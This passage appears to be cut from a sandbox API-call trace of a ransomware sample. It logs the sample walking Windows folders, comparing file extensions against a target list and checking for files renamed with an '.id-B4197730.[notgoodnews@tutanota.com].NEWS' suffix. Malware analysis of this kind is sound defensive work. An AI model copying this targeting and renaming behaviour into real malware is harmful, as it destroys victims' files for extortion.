dwMilliseconds=0x64) returned 0x102 [0182.158] GetTickCount () returned 0x113f92b [0182.158] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0182.283] GetTickCount () returned 0x113f9a8 [0182.283] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0182.679] GetTickCount () returned 0x113fb3e [0182.679] GetTickCount () returned 0x113fb3e [0182.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0182.830] GetTickCount () returned 0x113fbcb [0182.830] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0183.198] GetTickCount () returned 0x113fd42 [0183.198] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0183.347] GetTickCount () returned 0x113fdcf [0183.347] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0183.612] GetTickCount () returned 0x113fed8 [0183.612] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0184.239] GetTickCount () returned 0x1140149 [0184.239] GetTickCount () returned 0x1140149 [0184.239] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0184.445] GetTickCount () returned 0x1140214 [0184.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0184.677] GetTickCount () returned 0x11402ff [0184.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0185.035] GetTickCount () returned 0x1140466 [0185.035] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0185.492] GetTickCount () returned 0x114062b [0185.492] GetTickCount () returned 0x114062b [0185.492] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0185.767] GetTickCount () returned 0x1140744 [0185.767] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0186.056] GetTickCount () returned 0x114085e [0186.056] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0186.288] GetTickCount () returned 0x1140948 [0186.288] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0186.795] GetTickCount () returned 0x1140b4c [0186.795] GetTickCount () returned 0x1140b4c [0186.795] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0187.050] GetTickCount () returned 0x1140c46 [0187.050] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0187.412] GetTickCount () returned 0x1140dad [0187.413] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0187.736] GetTickCount () returned 0x1140ef5 [0187.736] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0187.950] GetTickCount () returned 0x1140fd0 [0187.950] GetTickCount () returned 0x1140fd0 [0187.950] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0188.223] GetTickCount () returned 0x11410da [0188.223] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0188.496] GetTickCount () returned 0x11411f3 [0188.496] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0188.793] GetTickCount () returned 0x114131c [0188.793] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0189.232] GetTickCount () returned 0x11414d1 [0189.232] GetTickCount () returned 0x11414d1 [0189.232] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0189.693] GetTickCount () returned 0x1141696 [0189.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0189.993] GetTickCount () returned 0x11417bf [0189.993] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0190.162] GetTickCount () returned 0x114186b [0190.162] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x0 [0190.286] WaitForMultipleObjects (nCount=0x4, lpHandles=0x295ff5c*=0x2ec, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0190.540] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4dce020 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdb78 | out: hHeap=0x420000) returned 1 [0190.546] lstrlenW (lpString=".NEWS") returned 5 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcb20 | out: hHeap=0x420000) returned 1 [0190.546] lstrlenW (lpString=".[notgoodnews@tutanota.com]") returned 27 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d710 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bd9f8 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcbb0 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcc70 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcb98 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bccd0 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd00 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcc88 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdaa8 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcbe0 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcbc8 | out: hHeap=0x420000) returned 1 [0190.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcb08 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdb28 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda48 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd48 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda08 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcc28 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdab8 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcc58 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45efe0 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f0f8 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x433248 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43a650 | out: hHeap=0x420000) returned 1 [0190.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x487778 | out: hHeap=0x420000) returned 1 [0190.548] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485b78 | out: hHeap=0x420000) returned 1 [0190.548] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089090 [0190.548] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089090, Size=0x20) returned 0x408ddd0 [0190.548] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089258 [0190.548] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089258, Size=0x20) returned 0x408df88 [0190.548] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.548] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.548] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff7c | out: OldValue=0x295ff7c*=0x1) returned 1 [0190.548] lstrlenW (lpString="kernel32.dll") returned 12 [0190.548] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.548] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.549] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ddd0 | out: hHeap=0x420000) returned 1 Thread: id = 37 os_tid = 0xdd8 Thread: id = 39 os_tid = 0xddc [0156.886] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x4e0a30 [0156.886] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x4f0a38 [0156.887] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf70 [0156.887] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bda98 [0156.887] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf58 [0156.887] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3720020 [0156.890] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0a8 [0156.890] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d0a8, Size=0x20) returned 0x45f350 [0156.890] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf40 [0156.890] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47cf40, Size=0x20) returned 0x45f2d8 [0156.890] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0156.890] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0156.890] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x0) returned 1 [0156.890] lstrlenW (lpString="kernel32.dll") returned 12 [0156.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0156.890] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f2d8 | out: hHeap=0x420000) returned 1 [0156.890] Sleep (dwMilliseconds=0x64) [0157.150] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0157.150] lstrlenW (lpString="desktop.ini") returned 11 [0157.150] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0157.150] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=129) returned 1 [0157.150] CloseHandle (hObject=0x348) returned 1 [0157.150] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0157.151] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0x26 [0157.152] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.152] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.152] lstrlenW (lpString=".doc") returned 4 [0157.152] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0157.152] lstrlenW (lpString=".docx") returned 5 [0157.152] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0157.152] lstrlenW (lpString=".pdf") returned 4 [0157.152] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0157.152] lstrlenW (lpString=".xls") returned 4 [0157.152] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0157.152] lstrlenW (lpString=".xlsx") returned 5 [0157.152] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0157.153] lstrlenW (lpString=".ppt") returned 4 [0157.153] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString=".zip") returned 4 [0157.153] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString=".rar") returned 4 [0157.153] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString=".bz2") returned 4 [0157.153] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0157.153] lstrlenW (lpString=".7z") returned 3 [0157.153] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString=".dbf") returned 4 [0157.153] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString=".1cd") returned 4 [0157.153] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString=".jpg") returned 4 [0157.153] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.153] lstrlenW (lpString=".doc") returned 4 [0157.153] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0157.153] lstrlenW (lpString=".docx") returned 5 [0157.153] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0157.153] lstrlenW (lpString=".pdf") returned 4 [0157.153] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString=".xls") returned 4 [0157.153] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString=".xlsx") returned 5 [0157.153] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0157.153] lstrlenW (lpString=".ppt") returned 4 [0157.153] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0157.153] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.154] lstrlenW (lpString=".zip") returned 4 [0157.154] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0157.154] lstrlenW (lpString=".rar") returned 4 [0157.154] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0157.154] lstrlenW (lpString=".bz2") returned 4 [0157.154] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0157.154] lstrlenW (lpString=".7z") returned 3 [0157.154] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0157.154] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.154] lstrlenW (lpString=".dbf") returned 4 [0157.154] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0157.154] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.154] lstrlenW (lpString=".1cd") returned 4 [0157.154] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0157.154] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0157.154] lstrlenW (lpString=".jpg") returned 4 [0157.154] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0157.154] Sleep (dwMilliseconds=0x64) [0157.454] Sleep (dwMilliseconds=0x64) [0157.636] Sleep (dwMilliseconds=0x64) [0157.846] Sleep (dwMilliseconds=0x64) [0158.009] lstrcmpiW (lpString1=".p7b", lpString2=".NEWS") returned 1 [0158.009] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0158.010] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.015] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4662) returned 1 [0158.015] CloseHandle (hObject=0x344) returned 1 [0158.015] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0158.015] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.015] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.015] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.015] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.015] lstrlenW (lpString=".doc") returned 4 [0158.015] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0158.015] lstrlenW (lpString=".docx") returned 5 [0158.016] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0158.016] lstrlenW (lpString=".pdf") returned 4 [0158.016] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0158.016] lstrlenW (lpString=".xls") returned 4 [0158.016] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0158.016] lstrlenW (lpString=".xlsx") returned 5 [0158.016] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0158.016] lstrlenW (lpString=".ppt") returned 4 [0158.016] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString=".zip") returned 4 [0158.016] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0158.016] lstrlenW (lpString=".rar") returned 4 [0158.016] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0158.016] lstrlenW (lpString=".bz2") returned 4 [0158.016] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0158.016] lstrlenW (lpString=".7z") returned 3 [0158.016] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString=".dbf") returned 4 [0158.016] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString=".1cd") returned 4 [0158.016] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString=".jpg") returned 4 [0158.016] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.016] lstrlenW (lpString=".doc") returned 4 [0158.016] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0158.016] lstrlenW (lpString=".docx") returned 5 [0158.016] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0158.016] lstrlenW (lpString=".pdf") returned 4 [0158.017] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0158.017] lstrlenW (lpString=".xls") returned 4 [0158.017] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0158.017] lstrlenW (lpString=".xlsx") returned 5 [0158.017] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0158.017] lstrlenW (lpString=".ppt") returned 4 [0158.017] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0158.017] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.017] lstrlenW (lpString=".zip") returned 4 [0158.017] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0158.017] lstrlenW (lpString=".rar") returned 4 [0158.017] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0158.017] lstrlenW (lpString=".bz2") returned 4 [0158.017] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0158.017] lstrlenW (lpString=".7z") returned 3 [0158.017] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0158.017] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.017] lstrlenW (lpString=".dbf") returned 4 [0158.017] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0158.017] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.017] lstrlenW (lpString=".1cd") returned 4 [0158.017] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0158.017] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0158.017] lstrlenW (lpString=".jpg") returned 4 [0158.017] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0158.017] Sleep (dwMilliseconds=0x64) [0158.119] Sleep (dwMilliseconds=0x64) [0158.229] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.229] lstrlenW (lpString="Alphabet.xml") returned 12 [0158.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.275] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=791421) returned 1 [0158.276] CloseHandle (hObject=0x3cc) returned 1 [0158.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0158.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.276] lstrlenW (lpString=".doc") returned 4 [0158.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.276] lstrlenW (lpString=".docx") returned 5 [0158.276] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.276] lstrlenW (lpString=".pdf") returned 4 [0158.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.276] lstrlenW (lpString=".xls") returned 4 [0158.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.276] lstrlenW (lpString=".xlsx") returned 5 [0158.276] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.276] lstrlenW (lpString=".ppt") returned 4 [0158.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.276] lstrlenW (lpString=".zip") returned 4 [0158.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.276] lstrlenW (lpString=".rar") returned 4 [0158.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.276] lstrlenW (lpString=".bz2") returned 4 [0158.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".7z") returned 3 [0158.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString=".dbf") returned 4 [0158.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString=".1cd") returned 4 [0158.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString=".jpg") returned 4 [0158.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString=".doc") returned 4 [0158.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".docx") returned 5 [0158.277] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.277] lstrlenW (lpString=".pdf") returned 4 [0158.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".xls") returned 4 [0158.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".xlsx") returned 5 [0158.277] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.277] lstrlenW (lpString=".ppt") returned 4 [0158.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.277] lstrlenW (lpString=".zip") returned 4 [0158.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.277] lstrlenW (lpString=".rar") returned 4 [0158.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".bz2") returned 4 [0158.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.277] lstrlenW (lpString=".7z") returned 3 [0158.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.278] lstrlenW (lpString=".dbf") returned 4 [0158.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.278] lstrlenW (lpString=".1cd") returned 4 [0158.278] 